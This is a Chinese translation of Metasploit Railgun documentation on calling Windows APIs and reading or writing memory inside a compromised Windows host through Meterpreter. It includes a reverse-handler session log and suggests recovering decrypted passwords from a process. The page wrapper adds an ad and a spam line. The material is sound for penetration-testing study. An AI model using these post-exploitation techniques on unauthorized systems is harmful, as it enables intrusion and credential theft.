<ruby id="bdb3f"></ruby>

    <p id="bdb3f"><cite id="bdb3f"></cite></p>

      <p id="bdb3f"><cite id="bdb3f"><th id="bdb3f"></th></cite></p><p id="bdb3f"></p>
        <p id="bdb3f"><cite id="bdb3f"></cite></p>

          <pre id="bdb3f"></pre>
          <pre id="bdb3f"><del id="bdb3f"><thead id="bdb3f"></thead></del></pre>

          <ruby id="bdb3f"><mark id="bdb3f"></mark></ruby><ruby id="bdb3f"></ruby>
          <pre id="bdb3f"><pre id="bdb3f"><mark id="bdb3f"></mark></pre></pre><output id="bdb3f"></output><p id="bdb3f"></p><p id="bdb3f"></p>

          <pre id="bdb3f"><del id="bdb3f"><progress id="bdb3f"></progress></del></pre>

                <ruby id="bdb3f"></ruby>

                企業??AI智能體構建引擎,智能編排和調試,一鍵部署,支持知識庫和私有化部署方案 廣告
                RailGunner是Windows Meterpreter獨有的強大的后期開發功能。它可以讓你完全控制你的目標機器的Windows API,或者你可以使用你找到的任何DLL,并用它做更多的創意性的工作。例如:假設您在Windows目標上有一個meterpreter會話。你有一個特定的應用程序,你認為存儲用戶的密碼,但它是加密的,但是沒有工具在那里解密。使用RailGun,你可以做的是,你可以進入這個進程,并查找內存中發現的任何敏感信息,或者你可以查找負責解密的程序的DLL,調用它,并讓它為你解密。如果你是滲透測試人員,顯然后期開發是一項重要的技能,但如果你不知道railgun,你錯過很多, ### 定義一個DLL及其函數 Windows API顯然是相當多的,所以默認情況下,Railgun只有一些預定義的DLL和通常用于構建Windows程序的函數。這些內置DLL是:kernel32, ntdll, user32, ws2_32, iphlpapi, advapi32, shell32, netapi32, crypt32, wlanapi, wldap32, version.內置DLL的相同列表也可以通過使用該`known_dll_names`方法來檢索。 所有all定義可以在這個"[def](https://github.com/rapid7/metasploit-framework/tree/master/lib/rex/post/meterpreter/extensions/stdapi/railgun/def)" 目錄找到.他們是像一個類一樣定義的.下面的模塊應該能演示一個dll是怎么定義的 ```ruby # -*- coding: binary -*- module Rex module Post module Meterpreter module Extensions module Stdapi module Railgun module Def class Def_somedll def self.create_dll(dll_path = 'somedll') dll = DLL.new(dll_path, ApiConstants.manager) # 1st argument = Name of the function # 2nd argument = Return value's data type # 3rd argument = An array of parameters dll.add_function('SomeFunction', 'DWORD',[ ["DWORD","hwnd","in"] ]) return dll end end end; end; end; end; end; end; end ``` 在函數定義,railgun支持這些數據類型:VOID, BOOL, DWORD, WORD, BYTE, LPVOID, HANDLE, PDWORD, PWCHAR, PCHAR, PBLOB. 有四個參數/緩沖區說明:in, out, inout, and return.將值傳遞給“in”參數時,Railgun將處理內存管理。例如,MessageBoxA有一個名為“in”的參數lpText,并且是PCHAR類型。你可以簡單地傳遞一個Ruby字符串,然后Railgun處理剩下的事情,這非常簡單。 “out”參數將始終是指針數據類型。基本上,你告訴Railgun要為參數分配多少字節,它分配內存,在調用函數時提供一個指向它的指針,然后讀取該函數寫入的內存區域,將其轉換為Ruby對象,并將其添加到返回字典。 一個“inout”參數作為被調用函數的輸入,但是可能會被其修改。您可以檢查修改后的值的返回散列,如“out”參數。 在運行時定義一個新函數的快速方法,可以像下面的例子那樣完成: ```ruby client.railgun.add_function('user32', 'MessageBoxA', 'DWORD',[ ["DWORD","hWnd","in"], ["PCHAR","lpText","in"], ["PCHAR","lpCaption","in"], ["DWORD","uType","in"] ]) ``` 但是,如果這個函數很可能被多次使用,或者它是Windows API的一部分,那么你應該把它放在庫中。 ### 示例 嘗試Railgun的最好方法是在Windows Meterpreter提示符下使用irb。這是一個如何到達的例子: ``` $ msfconsole -q msf > use exploit/multi/handler msf exploit(handler) > run [*] Started reverse handler on 192.168.1.64:4444 [*] Starting the payload handler... [*] Sending stage (769536 bytes) to 192.168.1.106 [*] Meterpreter session 1 opened (192.168.1.64:4444 -> 192.168.1.106:55148) at 2014-07-30 19:49:35 -0500 meterpreter > irb [*] Starting IRB shell [*] The 'client' variable holds the meterpreter client >> ``` 注意,當你運行一個post模塊或irb時,你總是有一個`client`或者一個`session`對象來處理,都指向相同的東西,在這種情況下是```Msf::Sessions::Meterpreter_x86_Win```.這個Meterpreter會話對象為您提供對目標機器的API訪問,包括Railgun對象```Rex::Post::Meterpreter::Extensions::Stdapi::Railgun::Railgun```.這是你是如何簡單的訪問它 ```ruby session.railgun ``` 如果你用irb運行上面的代碼,你會發現它返回所有的DLL,函數,常量等的信息.它讀取是有些不友好,因為那數據非常多.幸運的是,有一些方便的技巧可以幫助我們解決問題。例如,就像我們之前提到的那樣,如果您不確定哪些DLL被加載,您可以調用`known_dll_names`方法: ``` >> session.railgun.known_dll_names => ["kernel32", "ntdll", "user32", "ws2_32", "iphlpapi", "advapi32", "shell32", "netapi32", "crypt32", "wlanapi", "wldap32", "version"] ``` 現在,假設我們對user32感興趣,并且希望找到所有可用的函數(以及返回值的數據類型,參數),另一個方便的技巧是: ```ruby session.railgun.user32.functions.each_pair {|n, v| puts "Function name: #{n}, Returns: #{v.return_type}, Params: #{v.params}"} ``` 請注意,如果您碰巧調用了無效的或不受支持的Windows函數,會引發一個`runtimeerror`和錯誤信息.并顯示可用函數的列表。 要調用Windows API函數,請執行以下操作: ``` >> session.railgun.user32.MessageBoxA(0, "hello, world", "hello", "MB_OK") => {"GetLastError"=>0, "ErrorMessage"=>"The operation completed successfully.", "return"=>1} ``` 如果你能看到api調用返回一個字典.我們已經看到了一個習慣,有時人們不喜歡檢查```GetLastError```, ```ErrorMessage```, 和```return``` 值.他們只是假設它是工作的。這是一個壞的程序習慣,是不推薦的.如果你也假設一些東西是工作的,和執行下一個api調用.你有可能獲得意外的結果(最壞的情況:丟失Meterpreter會話)。 ### 內存讀寫 這個Railgun類還有兩個非常有用的方法,您可能會使用:memread和memwrite。名字是不言自明的:你讀了一塊內存,或者你寫入一個內存區域。我們將在有效載荷本身中演示 一個新的內存塊: ``` >> p = session.sys.process.open(session.sys.process.getpid, PROCESS_ALL_ACCESS) => #<#<Class:0x007fe2e051b740>:0x007fe2c5a258a0 @client=#<Session:meterpreter 192.168.1.106:55151 (192.168.1.106) "WIN-6NH0Q8CJQVM\sinn3r @ WIN-6NH0Q8CJQVM">, @handle=448, @channel=nil, @pid=2268, @aliases={"image"=>#<Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessSubsystem::Image:0x007fe2c5a25828 @process=#<#<Class:0x007fe2e051b740>:0x007fe2c5a258a0 ...>>, "io"=>#<Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessSubsystem::IO:0x007fe2c5a257b0 @process=#<#<Class:0x007fe2e051b740>:0x007fe2c5a258a0 ...>>, "memory"=>#<Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessSubsystem::Memory:0x007fe2c5a25738 @process=#<#<Class:0x007fe2e051b740>:0x007fe2c5a258a0 ...>>, "thread"=>#<Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessSubsystem::Thread:0x007fe2c5a256c0 @process=#<#<Class:0x007fe2e051b740>:0x007fe2c5a258a0 ...>>}> >> p.memory.allocate(1024) => 5898240 ``` 像你能看到的 新的分配在地址5898240(或者16進制 0x005A0000).讓我們首先在上面寫4個字節 ``` >> session.railgun.memwrite(5898240, "AAAA", 4) => true ``` ```memwrite```返回true,這種情況意味這成功,讓我們從0x005A0000讀取4個字節 ``` >> session.railgun.memread(5898240, 4) => "AAAA" ``` 請注意,如果提供的指針不正確,則可能導致訪問沖突并使Meterpreter發生崩潰。 ### 參考 https://www.youtube.com/watch?v=AniR-T0AnnI https://www.defcon.org/images/defcon-20/dc-20-presentations/Maloney/DEFCON-20-Maloney-Railgun.pdf https://dev.metasploit.com/redmine/projects/framework/wiki/RailgunUsage https://github.com/rapid7/metasploit-framework/tree/master/lib/rex/post/meterpreter/extensions/stdapi/railgun http://msdn.microsoft.com/en-us/library/ms681381(VS.85).aspx http://msdn.microsoft.com/en-us/library/aa383749 http://undocumented.ntinternals.net/ http://source.winehq.org/WineAPI/
                  <ruby id="bdb3f"></ruby>

                  <p id="bdb3f"><cite id="bdb3f"></cite></p>

                    <p id="bdb3f"><cite id="bdb3f"><th id="bdb3f"></th></cite></p><p id="bdb3f"></p>
                      <p id="bdb3f"><cite id="bdb3f"></cite></p>

                        <pre id="bdb3f"></pre>
                        <pre id="bdb3f"><del id="bdb3f"><thead id="bdb3f"></thead></del></pre>

                        <ruby id="bdb3f"><mark id="bdb3f"></mark></ruby><ruby id="bdb3f"></ruby>
                        <pre id="bdb3f"><pre id="bdb3f"><mark id="bdb3f"></mark></pre></pre><output id="bdb3f"></output><p id="bdb3f"></p><p id="bdb3f"></p>

                        <pre id="bdb3f"><del id="bdb3f"><progress id="bdb3f"></progress></del></pre>

                              <ruby id="bdb3f"></ruby>

                              哎呀哎呀视频在线观看